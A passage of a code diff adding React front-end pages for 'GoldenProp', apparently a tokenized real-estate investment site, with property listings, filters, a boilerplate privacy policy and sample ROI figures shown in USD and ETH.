321+ <div className="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-8">
322+ {featuredProperties.map((property, index) => (
323+ <motion.div
324+ key={property.id}
325+ className="card group"
326+ initial={{ opacity: 0, y: 20 }}
327+ whileInView={{ opacity: 1, y: 0 }}
328+ viewport={{ once: true }}
329+ transition={{ delay: index * 0.2 }}
330+ >
331+ <div className="relative h-48 rounded-t-2xl overflow-hidden">
332+ <img
333+ src={property.image}
334+ alt={property.title}
335+ className="w-full h-full object-cover group-hover:scale-105 transition-transform duration-300"
336+ />
337+ <div className="absolute top-4 right-4 glass-card px-3 py-1 text-primary-600 font-semibold text-sm">
338+ {property.status}
339+ </div>
340+ </div>
341+ <div className="p-6">
342+ <h3 className="text-xl font-semibold mb-2 text-sapphire-800">{property.title}</h3>
343+ <p className="text-platinum-600 mb-4">{property.location}</p>
344+
345+ <div className="flex justify-between items-center mb-4">
346+ <div>
347+ <p className="text-sm text-platinum-500">Price</p>
348+ <p className="font-semibold text-sapphire-800">${property.price.usd.toLocaleString()}</p>
349+ <p className="text-sm text-primary-600">{property.price.eth} ETH</p>
350+ </div>
351+ <div className="text-right">
352+ <p className="text-sm text-platinum-500">ROI</p>
353+ <p className="font-semibold text-green-600">{property.roi}</p>
354+ </div>
355+ </div>
356+
357+ <div className="space-y-2 mb-4">
358+ <div className="flex justify-between text-sm">
359+ <span className="text-platinum-600">Total Investors</span>
360+ <span className="font-medium text-sapphire-700">{property.metrics.totalInvestors}</span>
361+ </div>
362+ <div className="flex justify-between text-sm">
363+ <span className="text-platinum-600">Funded</span>
364+ <span className="font-medium text-sapphire-700">{property.metrics.funded}</span>
365+ </div>
366+ <div className="flex justify-between text-sm">
367+ <span className="text-platinum-600">Min Investment</span>
368+ <span className="font-medium text-sapphire-700">{property.metrics.minInvestment}</span>
369+ </div>
370+ </div>
371+
372+ <Link
373+ to={`/properties/${property.id}`}
374+ className="btn w-full flex items-center justify-center"
375+ >
376+ Invest Now
377+ <FiArrowRight className="ml-2" />
378+ </Link>
379+ </div>
380+ </motion.div>
381+ ))}
382+ </div>
383+ </section>
384+
385+ {/* Why Choose Us */}
386+ <section className="bg-gradient-to-br from-sapphire-50 to-platinum-100 pt-16">
387+ <div className="container">
388+ <div className="text-center mb-12">
389+ <h2 className="text-3xl font-bold mb-4 text-sapphire-800">Why Choose GoldenProp</h2>
390+ <p className="text-platinum-600">Experience the future of real estate investment</p>
391+ </div>
392+
393+ <div className="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-4 gap-8">
394+ {advantages.map((advantage, index) => (
395+ <motion.div
396+ key={index}
397+ className="glass-card p-6 text-center group hover:shadow-glass-xl transition-all duration-500"
398+ initial={{ opacity: 0, y: 20 }}
399+ whileInView={{ opacity: 1, y: 0 }}
400+ viewport={{ once: true }}
401+ transition={{ delay: index * 0.2 }}
402+ >
403+ <advantage.icon className="text-4xl text-primary-600 mx-auto mb-4 group-hover:scale-110 transition-transform duration-300" />
404+ <h3 className="text-xl font-semibold mb-2 text-sapphire-800">{advantage.title}</h3>
405+ <p className="text-platinum-600">{advantage.description}</p>
406+ </motion.div>
407+ ))}
408+ </div>
409+ </div>
410+ </section>
411+
412+ {/* CTA Section */}
413+ <section className="container">
414+ <div className="glass-section bg-gradient-to-br from-primary-600 to-primary-700 p-8 md:p-12 text-white text-center relative overflow-hidden">
415+ <div className="absolute inset-0 bg-gradient-to-br from-primary-500/20 to-transparent"></div>
416+ <div className="relative">
417+ <h2 className="text-3xl font-bold mb-4">Ready to Start Investing?</h2>
418+ <p className="text-lg mb-8 max-w-2xl mx-auto text-white/95 drop-shadow-sm">
419+ Join thousands of investors already earning passive income through tokenized real estate.
420+ </p>
421+ <div className="flex flex-col sm:flex-row gap-4 justify-center">
422+ <Link
423+ to="/properties"
424+ className="btn-secondary bg-glass-light text-primary-700 hover:bg-white border-white/30"
425+ >
426+ Browse Properties
427+ </Link>
428+ <button
429+ className="btn bg-gradient-to-r from-primary-700 to-primary-800 hover:from-primary-800 hover:to-primary-900"
430+ >
431+ <FaWallet className="mr-2" />
432+ Connect Wallet
433+ </button>
434+ </div>
435+ </div>
436+ </div>
437+ </section>
438+
439+ {/* Blog */}
440+ <div className="container bg-white py-24">
441+ <motion.div
442+ initial={{ opacity: 0, y: 20 }}
443+ animate={{ opacity: 1, y: 0 }}
444+ className="text-center max-w-3xl mx-auto mb-12"
445+ >
446+ <h1 className="text-3xl font-bold mb-4">Latest Insights</h1>
447+ <p className="text-secondary-600">
448+ Stay informed with our latest articles and market analysis
449+ </p>
450+ </motion.div>
451+
452+ {/* Blog Posts Grid */}
453+ <div className="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-8">
454+ {blogPosts.map((post, index) => (
455+ <motion.article
456+ key={post.id}
457+ initial={{ opacity: 0, y: 20 }}
458+ whileInView={{ opacity: 1, y: 0 }}
459+ viewport={{ once: true }}
460+ transition={{ delay: index * 0.1 }}
461+ className="bg-white rounded-lg shadow-md overflow-hidden"
462+ >
463+ <Link to={`/blog/${post.slug}`}>
464+ <div className="relative h-48">
465+ <img
466+ src={post.image}
467+ alt={post.title}
468+ className="w-full h-full object-cover"
469+ />
470+ <div className="absolute top-4 right-4 bg-white px-3 py-1 rounded-full text-sm font-medium text-primary-600">
471+ {categories.find(c => c.id === post.category)?.name}
472+ </div>
473+ </div>
474+ <div className="p-6">
475+ <h2 className="text-xl font-semibold mb-3 hover:text-primary-600 transition-colors">
476+ {post.title}
477+ </h2>
478+ <p className="text-secondary-600 mb-4">
479+ {post.excerpt}
480+ </p>
481+ <div className="flex items-center text-sm text-secondary-500">
482+ <FiUser className="mr-2" />
483+ <span className="mr-4">{post.author}</span>
484+ <FiClock className="mr-2" />
485+ <span>{post.readTime}</span>
486+ </div>
487+ </div>
488+ </Link>
489+ </motion.article>
490+ ))}
491+ </div>
492+ </div>
493+
494+ {/* FAQ Preview */}
495+ <section className="container">
496+ <motion.div
497+ initial={{ opacity: 0, y: 20 }}
498+ animate={{ opacity: 1, y: 0 }}
499+ className="max-w-3xl mx-auto"
500+ >
501+ <div className="text-center mb-12">
502+ <h2 className="text-3xl font-bold mb-4">Frequently Asked Questions</h2>
503+ <p className="text-secondary-600">Find answers to common questions about our platform, cryptocurrency payments, and real estate investment.</p>
504+ </div>
505+ <div className="space-y-8">
506+ {faqSections.map((section, sectionIndex) => (
507+ <div key={sectionIndex} className="bg-white rounded-lg shadow-md overflow-hidden">
508+ <div className="divide-y divide-secondary-100">
509+ {section.questions.map((item, questionIndex) => (
510+ <div key={questionIndex} className="p-6">
511+ <button
512+ className="w-full flex justify-between items-center text-left"
513+ onClick={() => toggleSection(section.title, questionIndex)}
514+ >
515+ <span className="font-medium">{item.question}</span>
516+ {openSections[`${section.title}-${questionIndex}`] ? (
517+ <FiChevronUp className="flex-shrink-0 ml-4" />
518+ ) : (
519+ <FiChevronDown className="flex-shrink-0 ml-4" />
520+ )}
521+ </button>
522+ <AnimatePresence>
523+ {openSections[`${section.title}-${questionIndex}`] && (
524+ <motion.div
525+ initial={{ height: 0, opacity: 0 }}
526+ animate={{ height: 'auto', opacity: 1 }}
527+ exit={{ height: 0, opacity: 0 }}
528+ transition={{ duration: 0.3 }}
529+ className="overflow-hidden"
530+ >
531+ <p className="mt-4 text-secondary-600">
532+ {item.answer}
533+ </p>
534+ </motion.div>
535+ )}
536+ </AnimatePresence>
537+ </div>
538+ ))}
539+ </div>
540+ </div>
541+ ))}
542+ </div>
543+ </motion.div>
544+ </section>
545+
546+ {/* Discord CTA */}
547+ <section className="py-12 bg-primary-900">
548+ <div className="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
549+ <div className="lg:grid lg:grid-cols-2 lg:gap-8 items-center">
550+ <div>
551+ <h2 className="text-3xl font-extrabold text-white sm:text-4xl">
552+ Join Our Community
553+ </h2>
554+ <p className="mt-4 text-lg text-primary-100">
555+ Connect with other crypto real estate investors, share insights, and get early access to new properties.
556+ </p>
557+ <dl className="mt-8 space-y-6">
558+ <div className="flex">
559+ <div className="flex-shrink-0">
560+ <div className="flex items-center justify-center h-12 w-12 rounded-md bg-primary-700 text-white">
561+ <svg className="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor">
562+ <path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M17 20h5v-2a3 3 0 00-5.356-1.857M17 20H7m10 0v-2c0-.656-.126-1.283-.356-1.857M7 20H2v-2a3 3 0 015.356-1.857M7 20v-2c0-.656.126-1.283.356-1.857m0 0a5.002 5.002 0 019.288 0M15 7a3 3 0 11-6 0 3 3 0 016 0zm6 3a2 2 0 11-4 0 2 2 0 014 0zM7 10a2 2 0 11-4 0 2 2 0 014 0z" />
563+ </svg>
564+ </div>
565+ </div>
566+ <div className="ml-4">
567+ <dt className="text-lg leading-6 font-medium text-white">
568+ 10,000+ Members
569+ </dt>
570+ <dd className="mt-2 text-base text-primary-100">
571+ Join a growing community of crypto-savvy real estate investors
572+ </dd>
573+ </div>
574+ </div>
575+
576+ <div className="flex">
577+ <div className="flex-shrink-0">
578+ <div className="flex items-center justify-center h-12 w-12 rounded-md bg-primary-700 text-white">
579+ <svg className="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor">
580+ <path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M8 7V3m8 4V3m-9 8h10M5 21h14a2 2 0 002-2V7a2 2 0 00-2-2H5a2 2 0 00-2 2v12a2 2 0 002 2z" />
581+ </svg>
582+ </div>
583+ </div>
584+ <div className="ml-4">
585+ <dt className="text-lg leading-6 font-medium text-white">
586+ Weekly Events
587+ </dt>
588+ <dd className="mt-2 text-base text-primary-100">
589+ Educational webinars, market updates, and networking sessions
590+ </dd>
591+ </div>
592+ </div>
593+ </dl>
594+ </div>
595+
596+ <div className="mt-12 lg:mt-0 flex justify-center">
597+ <div className="bg-white rounded-lg shadow-xl p-8 max-w-sm w-full">
598+ <h3 className="text-2xl font-bold text-gray-900 text-center mb-6">
599+ Join Discord
600+ </h3>
601+ <p className="text-gray-500 text-center mb-8">
602+ Get instant access to our community and start connecting with other investors
603+ </p>
604+ <a
605+ href="https://discord.gg/GoldenProp"
606+ target="_blank"
607+ rel="noopener noreferrer"
608+ className="w-full flex items-center justify-center px-8 py-3 border border-transparent text-base font-medium rounded-md text-white bg-indigo-600 hover:bg-indigo-700 md:py-4 md:text-lg md:px-10"
609+ >
610+ Join Now
611+ </a>
612+ <p className="mt-4 text-sm text-gray-500 text-center">
613+ Already a member?{' '}
614+ <a href="https://discord.gg/GoldenProp" className="text-indigo-600 hover:text-indigo-500">
615+ Sign in
616+ </a>
617+ </p>
618+ </div>
619+ </div>
620+ </div>
621+ </div>
622+ </section>
623+ </div>
624+ );
625+}
626+
627+export default Home;
+14-0src/pages/NotFound.jsx
@@ -0,0 +1,14 @@
1+import React from 'react'
2+
3+const NotFound = () => {
4+ return (
5+ <div className='min-h-screen bg-secondary-50 flex items-center justify-center'>
6+ <div className="text-center">
7+ <h1 className='text-4xl md:text-5xl font-bold mb-6'>Page not found</h1>
8+ <p className='text-xl'>Error 404: The page your're looking for does not exist!</p>
9+ </div>
10+ </div>
11+ )
12+}
13+
14+export default NotFound;
+153-0src/pages/Privacy.jsx
@@ -0,0 +1,153 @@
1+import { motion } from 'framer-motion';
2+
3+function Privacy() {
4+ const sections = [
5+ {
6+ title: 'Introduction',
7+ content: `This Privacy Policy explains how GoldenProp ("we," "us," or "our") collects, uses, and protects your personal information when you use our platform. We are committed to ensuring the privacy and security of your personal and financial information, including cryptocurrency transactions.`
8+ },
9+ {
10+ title: 'Information We Collect',
11+ content: `We collect information that you provide directly to us, including:
12+ • Personal identification information (name, email address, phone number)
13+ • Government-issued ID for KYC verification
14+ • Cryptocurrency wallet addresses
15+ • Investment preferences and history
16+ • Communication records with our platform
17+
18+ We also automatically collect certain information about your device and how you interact with our platform, including:
19+
20+ • IP address and device identifiers
21+ • Browser type and operating system
22+ • Usage data and interaction with our services
23+ • Blockchain transaction data`
24+ },
25+ {
26+ title: 'How We Use Your Information',
27+ content: `We use the collected information for:
28+
29+ • Processing your property investments and cryptocurrency transactions
30+ • Verifying your identity and preventing fraud
31+ • Providing customer support and responding to inquiries
32+ • Sending important updates about your investments
33+ • Improving our platform and services
34+ • Complying with legal and regulatory requirements
35+
36+ All data processing is conducted in accordance with applicable laws and regulations.`
37+ },
38+ {
39+ title: 'Cryptocurrency Transaction Privacy',
40+ content: `While blockchain transactions are publicly visible, we implement additional privacy measures:
41+
42+ • We never share your wallet addresses publicly
43+ • Transaction details are encrypted in our database
44+ • We use separate wallet addresses for each transaction
45+ • Smart contracts are audited for privacy vulnerabilities
46+
47+ Please note that blockchain transactions are irreversible and publicly recorded on the respective networks.`
48+ },
49+ {
50+ title: 'Data Security',
51+ content: `We implement robust security measures to protect your information:
52+
53+• End-to-end encryption for sensitive data
54+• Regular security audits and penetration testing
55+• Multi-factor authentication
56+• Secure cold storage for cryptocurrency assets
57+• Regular backup and disaster recovery procedures
58+
59+Despite our best efforts, no method of transmission over the Internet is 100% secure.`
60+ },
61+ {
62+ title: 'Information Sharing',
63+ content: `We may share your information with:
64+
65+• Property management partners for investment processing
66+• Identity verification services for KYC compliance
67+• Legal authorities when required by law
68+• Service providers who assist in platform operations
69+
70+We never sell your personal information to third parties.`
71+ },
72+ {
73+ title: 'Your Rights',
74+ content: `You have the right to:
75+
76+• Access your personal information
77+• Correct inaccurate information
78+• Request deletion of your data (where legally possible)
79+• Opt-out of marketing communications
80+• Export your data in a portable format
81+
82+Contact our privacy team to exercise these rights.`
83+ },
84+ {
85+ title: 'Cookies and Tracking',
86+ content: `We use cookies and similar technologies to:
87+
88+• Maintain your session security
89+• Remember your preferences
90+• Analyze platform usage
91+• Improve user experience
92+
93+You can control cookie settings through your browser preferences.`
94+ },
95+ {
96+ title: 'Changes to Privacy Policy',
97+ content: `We may update this Privacy Policy periodically. Significant changes will be notified through:
98+
99+• Email notifications
100+• Platform announcements
101+• Website updates
102+
103+Continue using our platform after changes constitutes acceptance of the updated policy.`
104+ },
105+ {
106+ title: 'Contact Us',
107+ content: `For privacy-related inquiries:
108+
109+Email: privacy@company.com
110+Address: 123 Privacy Street, Real City, RC 12345
111+
112+We aim to respond to all inquiries within 48 hours.`
113+ }
114+ ];
115+
116+ return (
117+ <div className="min-h-screen bg-secondary-50 py-16">
118+ <div className="container">
119+ <motion.div
120+ initial={{ opacity: 0, y: 20 }}
121+ animate={{ opacity: 1, y: 0 }}
122+ className="max-w-4xl mx-auto"
123+ >
124+ <h1 className="text-4xl font-bold text-center mb-4">Privacy Policy</h1>
125+ <p className="text-secondary-600 text-center mb-12">
126+ Last updated: March 15, 2024
127+ </p>
128+
129+ <div className="bg-white rounded-lg shadow-md p-8">
130+ <div className="space-y-8">
131+ {sections.map((section, index) => (
132+ <motion.div
133+ key={index}
134+ initial={{ opacity: 0, y: 20 }}
135+ whileInView={{ opacity: 1, y: 0 }}
136+ viewport={{ once: true }}
137+ transition={{ delay: index * 0.1 }}
138+ >
139+ <h2 className="text-2xl font-semibold mb-4">{section.title}</h2>
140+ <div className="text-secondary-600 whitespace-pre-line">
141+ {section.content}
142+ </div>
143+ </motion.div>
144+ ))}
145+ </div>
146+ </div>
147+ </motion.div>
148+ </div>
149+ </div>
150+ );
151+}
152+
153+export default Privacy;
+403-0src/pages/Properties.jsx
@@ -0,0 +1,403 @@
1+import { useState } from 'react';
2+import { Link } from 'react-router-dom';
3+import { motion } from 'framer-motion';
4+import { FiFilter, FiArrowRight, FiTrendingUp, FiDollarSign } from 'react-icons/fi';
5+import { FaEthereum } from 'react-icons/fa';
6+
7+function Properties() {
8+ const [showFilters, setShowFilters] = useState(false);
9+ const [filters, setFilters] = useState({
10+ priceRange: 'all',
11+ propertyType: 'all',
12+ location: '',
13+ minROI: '',
14+ maxROI: '',
15+ fundingStatus: 'all',
16+ sortBy: 'newest'
17+ });
18+
19+ const properties = [
20+ {
21+ id: 1,
22+ title: 'Modern Villa with Pool',
23+ price: {
24+ usd: 850000,
25+ eth: 425
26+ },
27+ location: 'Beverly Hills, CA',
28+ image: 'https://images.unsplash.com/photo-1613490493576-7fde63acd811?w=800&q=80',
29+ type: 'villa',
30+ roi: '7.2%',
31+ metrics: {
32+ totalInvestors: 142,
33+ funded: '89%',
34+ minInvestment: '$10',
35+ monthlyIncome: '$520',
36+ appreciation: '4.5%'
37+ },
38+ status: 'Active Investment',
39+ features: ['Pool', 'Smart Home', 'Solar Panels'],
40+ tokenDetails: {
41+ totalTokens: 85000,
42+ availableTokens: 9350,
43+ tokenPrice: '$10'
44+ }
45+ },
46+ {
47+ id: 2,
48+ title: 'Luxury Penthouse',
49+ price: {
50+ usd: 1200000,
51+ eth: 600
52+ },
53+ location: 'Manhattan, NY',
54+ image: 'https://images.unsplash.com/photo-1512917774080-9991f1c4c750?w=800&q=80',
55+ type: 'apartment',
56+ roi: '6.8%',
57+ metrics: {
58+ totalInvestors: 203,
59+ funded: '95%',
60+ minInvestment: '$10',
61+ monthlyIncome: '$680',
62+ appreciation: '5.2%'
63+ },
64+ status: 'Almost Funded',
65+ features: ['Doorman', 'Gym', 'Terrace'],
66+ tokenDetails: {
67+ totalTokens: 120000,
68+ availableTokens: 6000,
69+ tokenPrice: '$10'
70+ }
71+ },
72+ {
73+ id: 3,
74+ title: 'Waterfront Estate',
75+ price: {
76+ usd: 2100000,
77+ eth: 1050
78+ },
79+ location: 'Miami Beach, FL',
80+ image: 'https://images.unsplash.com/photo-1613490493576-7fde63acd811?w=800&q=80',
81+ type: 'house',
82+ roi: '7.5%',
83+ metrics: {
84+ totalInvestors: 89,
85+ funded: '45%',
86+ minInvestment: '$10',
87+ monthlyIncome: '$1200',
88+ appreciation: '6.1%'
89+ },
90+ status: 'New Listing',
91+ features: ['Waterfront', 'Dock', 'Wine Cellar'],
92+ tokenDetails: {
93+ totalTokens: 210000,
94+ availableTokens: 115500,
95+ tokenPrice: '$10'
96+ }
97+ },
98+ {
99+ id: 4,
100+ title: 'Contemporary Smart Home',
101+ price: {
102+ usd: 950000,
103+ eth: 475
104+ },
105+ location: 'Austin, TX',
106+ image: 'https://images.unsplash.com/photo-1600607687939-ce8a6c25118c?w=800&q=80',
107+ type: 'house',
108+ roi: '8.1%',
109+ metrics: {
110+ totalInvestors: 67,
111+ funded: '32%',
112+ minInvestment: '$10',
113+ monthlyIncome: '$640',
114+ appreciation: '5.8%'
115+ },
116+ status: 'New Listing',
117+ features: ['Smart Home', '3D Virtual Tour', 'Energy Efficient'],
118+ tokenDetails: {
119+ totalTokens: 95000,
120+ availableTokens: 64600,
121+ tokenPrice: '$10'
122+ }
123+ }
124+ ];
125+
126+ const handleFilterChange = (key, value) => {
127+ setFilters(prev => ({ ...prev, [key]: value }));
128+ };
129+
130+ const filteredProperties = properties.filter(property => {
131+ if (filters.propertyType !== 'all' && property.type !== filters.propertyType) return false;
132+ if (filters.location && !property.location.toLowerCase().includes(filters.location.toLowerCase())) return false;
133+ if (filters.minROI && parseFloat(property.roi) < parseFloat(filters.minROI)) return false;
134+ if (filters.maxROI && parseFloat(property.roi) > parseFloat(filters.maxROI)) return false;
135+
136+ if (filters.priceRange !== 'all') {
137+ const [min, max] = filters.priceRange.split('-').map(Number);
138+ if (max && (property.price.usd < min || property.price.usd > max)) return false;
139+ if (!max && property.price.usd < min) return false;
140+ }
141+
142+ if (filters.fundingStatus !== 'all') {
143+ const fundedPercentage = parseInt(property.metrics.funded);
144+ switch (filters.fundingStatus) {
145+ case 'new':
146+ if (fundedPercentage > 30) return false;
147+ break;
148+ case 'active':
149+ if (fundedPercentage < 30 || fundedPercentage >= 90) return false;
150+ break;
151+ case 'almostFunded':
152+ if (fundedPercentage < 90) return false;
153+ break;
154+ default:
155+ break
156+ }
157+ }
158+
159+ return true;
160+ });
161+
162+ // Sort properties based on selected criteria
163+ const sortedProperties = [...filteredProperties].sort((a, b) => {
164+ switch (filters.sortBy) {
165+ case 'priceAsc':
166+ return a.price.usd - b.price.usd;
167+ case 'priceDesc':
168+ return b.price.usd - a.price.usd;
169+ case 'roiDesc':
170+ return parseFloat(b.roi) - parseFloat(a.roi);
171+ case 'fundingDesc':
172+ return parseInt(b.metrics.funded) - parseInt(a.metrics.funded);
173+ default:
174+ return 0;
175+ }
176+ });
177+
178+ return (
179+ <div className="min-h-screen bg-gradient-to-br from-sapphire-50 via-white to-platinum-100">
180+ {/* Header */}
181+ <div className="glass-nav">
182+ <div className="container py-6">
183+ <div className="flex justify-between items-center">
184+ <h1 className="text-3xl font-bold text-sapphire-800">Investment Properties</h1>
185+ <div className="flex items-center space-x-4">
186+ <button
187+ className={`p-2 rounded-xl transition-all duration-300 ${showFilters ? 'glass-card text-primary-600' : 'hover:bg-glass'}`}
188+ onClick={() => setShowFilters(!showFilters)}
189+ >
190+ <FiFilter size={20} />
191+ </button>
192+ </div>
193+ </div>
194+ </div>
195+ </div>
196+
197+ {/* Filters */}
198+ {showFilters && (
199+ <div className="glass-card border-t border-glass">
200+ <div className="container py-6">
201+ <div className="grid grid-cols-1 md:grid-cols-3 lg:grid-cols-4 gap-4">
202+ <div>
203+ <label className="block text-sm font-medium text-sapphire-700 mb-1">
204+ Price Range
205+ </label>
206+ <select
207+ className="input"
208+ value={filters.priceRange}
209+ onChange={(e) => handleFilterChange('priceRange', e.target.value)}
210+ >
211+ <option value="all">All Prices</option>
212+ <option value="0-500000">Under $500,000</option>
213+ <option value="500000-1000000">$500,000 - $1,000,000</option>
214+ <option value="1000000">Over $1,000,000</option>
215+ </select>
216+ </div>
217+
218+ <div>
219+ <label className="block text-sm font-medium text-sapphire-700 mb-1">
220+ Property Type
221+ </label>
222+ <select
223+ className="input"
224+ value={filters.propertyType}
225+ onChange={(e) => handleFilterChange('propertyType', e.target.value)}
226+ >
227+ <option value="all">All Types</option>
228+ <option value="house">House</option>
229+ <option value="apartment">Apartment</option>
230+ <option value="villa">Villa</option>
231+ </select>
232+ </div>
233+
234+ <div>
235+ <label className="block text-sm font-medium text-sapphire-700 mb-1">
236+ Location
237+ </label>
238+ <input
239+ type="text"
240+ className="input"
241+ placeholder="Enter location"
242+ value={filters.location}
243+ onChange={(e) => handleFilterChange('location', e.target.value)}
244+ />
245+ </div>
246+
247+ <div>
248+ <label className="block text-sm font-medium text-sapphire-700 mb-1">
249+ Minimum ROI
250+ </label>
251+ <input
252+ type="number"
253+ className="input"
254+ placeholder="Min ROI %"
255+ value={filters.minROI}
256+ onChange={(e) => handleFilterChange('minROI', e.target.value)}
257+ />
258+ </div>
259+
260+ <div>
261+ <label className="block text-sm font-medium text-sapphire-700 mb-1">
262+ Funding Status
263+ </label>
264+ <select
265+ className="input"
266+ value={filters.fundingStatus}
267+ onChange={(e) => handleFilterChange('fundingStatus', e.target.value)}
268+ >
269+ <option value="all">All Statuses</option>
270+ <option value="new">New Listings</option>
271+ <option value="active">Active Funding</option>
272+ <option value="almostFunded">Almost Funded</option>
273+ </select>
274+ </div>
275+
276+ <div>
277+ <label className="block text-sm font-medium text-sapphire-700 mb-1">
278+ Sort By
279+ </label>
280+ <select
281+ className="input"
282+ value={filters.sortBy}
283+ onChange={(e) => handleFilterChange('sortBy', e.target.value)}
284+ >
285+ <option value="newest">Newest First</option>
286+ <option value="priceAsc">Price: Low to High</option>
287+ <option value="priceDesc">Price: High to Low</option>
288+ <option value="roiDesc">Highest ROI</option>
289+ <option value="fundingDesc">Most Funded</option>
290+ </select>
291+ </div>
292+ </div>
293+ </div>
294+ </div>
295+ )}
296+
297+ {/* Properties Grid */}
298+ <div className="container py-8">
299+ <div className="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-8">
300+ {sortedProperties.map((property, index) => (
301+ <motion.div
302+ key={property.id}
303+ className="card group"
304+ initial={{ opacity: 0, y: 20 }}
305+ animate={{ opacity: 1, y: 0 }}
306+ transition={{ delay: index * 0.1 }}
307+ >
308+ <Link to={`/properties/${property.id}`}>
309+ <div className="relative h-48 rounded-t-2xl overflow-hidden">
310+ <img
311+ src={property.image}
312+ alt={property.title}
313+ className="w-full h-full object-cover group-hover:scale-105 transition-transform duration-300"
314+ />
315+ <div className="absolute top-4 right-4 glass-card px-3 py-1 text-primary-600 font-semibold text-sm">
316+ {property.status}
317+ </div>
318+ </div>
319+ <div className="p-6">
320+ <h3 className="text-xl font-semibold mb-2 text-sapphire-800">{property.title}</h3>
321+ <p className="text-platinum-600 mb-4">{property.location}</p>
322+
323+ {/* Price and ROI */}
324+ <div className="flex justify-between items-center mb-4">
325+ <div>
326+ <p className="text-sm text-platinum-500">Investment Price</p>
327+ <div className="flex items-center">
328+ <FiDollarSign className="text-primary-600" />
329+ <span className="font-semibold text-sapphire-800">${property.price.usd.toLocaleString()}</span>
330+ </div>
331+ <div className="flex items-center text-sm text-primary-600">
332+ <FaEthereum className="mr-1" />
333+ <span>{property.price.eth} ETH</span>
334+ </div>
335+ </div>
336+ <div className="text-right">
337+ <p className="text-sm text-platinum-500">Annual ROI</p>
338+ <div className="flex items-center justify-end text-green-600">
339+ <FiTrendingUp className="mr-1" />
340+ <span className="font-semibold">{property.roi}</span>
341+ </div>
342+ </div>
343+ </div>
344+
345+ {/* Investment Metrics */}
346+ <div className="space-y-2 mb-4">
347+ <div className="flex justify-between text-sm">
348+ <span className="text-platinum-600">Monthly Income</span>
349+ <span className="font-medium text-sapphire-700">{property.metrics.monthlyIncome}</span>
350+ </div>
351+ <div className="flex justify-between text-sm">
352+ <span className="text-platinum-600">Appreciation</span>
353+ <span className="font-medium text-sapphire-700">{property.metrics.appreciation}</span>
354+ </div>
355+ <div className="flex justify-between text-sm">
356+ <span className="text-platinum-600">Min Investment</span>
357+ <span className="font-medium text-sapphire-700">{property.metrics.minInvestment}</span>
358+ </div>
359+ </div>
360+
361+ {/* Funding Progress */}
362+ <div className="mb-4">
363+ <div className="flex justify-between text-sm mb-1">
364+ <span className="text-platinum-600">Funding Progress</span>
365+ <span className="font-medium text-sapphire-700">{property.metrics.funded}</span>
366+ </div>
367+ <div className="w-full bg-platinum-100 rounded-full h-2">
368+ <div
369+ className="bg-gradient-to-r from-primary-500 to-primary-600 h-2 rounded-full"
370+ style={{ width: property.metrics.funded }}
371+ />
372+ </div>
373+ </div>
374+
375+ {/* Token Details */}
376+ <div className="glass-card bg-sapphire-50/50 p-3 mb-4">
377+ <div className="flex justify-between text-sm">
378+ <span className="text-platinum-600">Available Tokens</span>
379+ <span className="font-medium text-sapphire-700">
380+ {property.tokenDetails.availableTokens.toLocaleString()} / {property.tokenDetails.totalTokens.toLocaleString()}
381+ </span>
382+ </div>
383+ <div className="flex justify-between text-sm mt-1">
384+ <span className="text-platinum-600">Token Price</span>
385+ <span className="font-medium text-sapphire-700">{property.tokenDetails.tokenPrice}</span>
386+ </div>
387+ </div>
388+
389+ <button className="btn w-full flex items-center justify-center">
390+ Invest Now
391+ <FiArrowRight className="ml-2" />
392+ </button>
393+ </div>
394+ </Link>
395+ </motion.div>
396+ ))}
397+ </div>
398+ </div>
399+ </div>
400+ );
401+}
402+
403+export default Properties;
+33-0src/pages/Property3D.jsx
@@ -0,0 +1,33 @@
1+import { useEffect, useState } from "react";
2+import { useParams } from "react-router-dom";
3+import { Canvas } from "@react-three/fiber";
4+import { Leva } from "leva";
5+import { Experience } from "../components/property/Experience";
6+import { Overlay } from "../components/property/Overlay";
7+
8+function App() {
9+ const { id } = useParams();
10+ const [loading, setLoading] = useState(true);
11+
12+ useEffect(() => {
13+ setTimeout(() => {
14+ setLoading(false);
15+ }, 1000);
16+ }, []);
17+
18+ return (
19+ <div className="absolute z-50 inset-0 bg-white">
20+ {loading ?
21+ <div className="absolute z-50 inset-0 w-full h-full flex justify-center items-center text-primary-700 text-xl md:text-3xl text-center font-bold ">Please wait...</div>
22+ : null}
23+ <Leva hidden />
24+ <Overlay propertyId={id} />
25+ <Canvas shadows camera={{ position: [0, 0, 5], fov: 30 }}>
26+ <color attach="background" args={["#232323"]} />
27+ <Experience propertyId={id} />
28+ </Canvas>
29+ </div>
30+ );
31+}
32+
33+export default App;
+341-0src/pages/PropertyDetail.jsx
@@ -0,0 +1,341 @@
1+import { useParams, Link } from 'react-router-dom';
2+import { motion } from 'framer-motion';
3+import { FiHome, FiMaximize2, FiCalendar, FiTrendingUp, FiUsers, FiDollarSign, FiGrid } from 'react-icons/fi';
4+import { FacebookShareButton, TwitterShareButton, LinkedinShareButton } from 'react-share';
5+import { FaFacebook, FaTwitter, FaLinkedin, FaEthereum, FaWallet } from 'react-icons/fa';
6+
7+function PropertyDetail() {
8+ const { id } = useParams();
9+
10+ const property = {
11+ id: parseInt(id),
12+ title: 'Modern Villa with Pool',
13+ price: {
14+ usd: 850000,
15+ eth: 425
16+ },
17+ location: 'Beverly Hills, CA',
18+ type: 'villa',
19+ roi: '7.2%',
20+ metrics: {
21+ totalInvestors: 142,
22+ funded: '89%',
23+ minInvestment: '$10',
24+ monthlyIncome: '$520',
25+ appreciation: '4.5%',
26+ rentalYield: '5.8%',
27+ totalReturn: '10.3%'
28+ },
29+ status: 'Active Investment',
30+ description: 'This stunning modern villa offers luxurious living spaces with high-end finishes throughout. The property has been tokenized for fractional ownership, allowing investors to participate in this premium real estate opportunity with as little as $10.',
31+ features: [
32+ 'Swimming Pool',
33+ 'Smart Home System',
34+ 'Gourmet Kitchen',
35+ 'Home Theater',
36+ 'Wine Cellar',
37+ 'Outdoor Kitchen',
38+ 'Fire Pit',
39+ 'Three-Car Garage'
40+ ],
41+ tokenDetails: {
42+ totalTokens: 85000,
43+ availableTokens: 9350,
44+ tokenPrice: '$10',
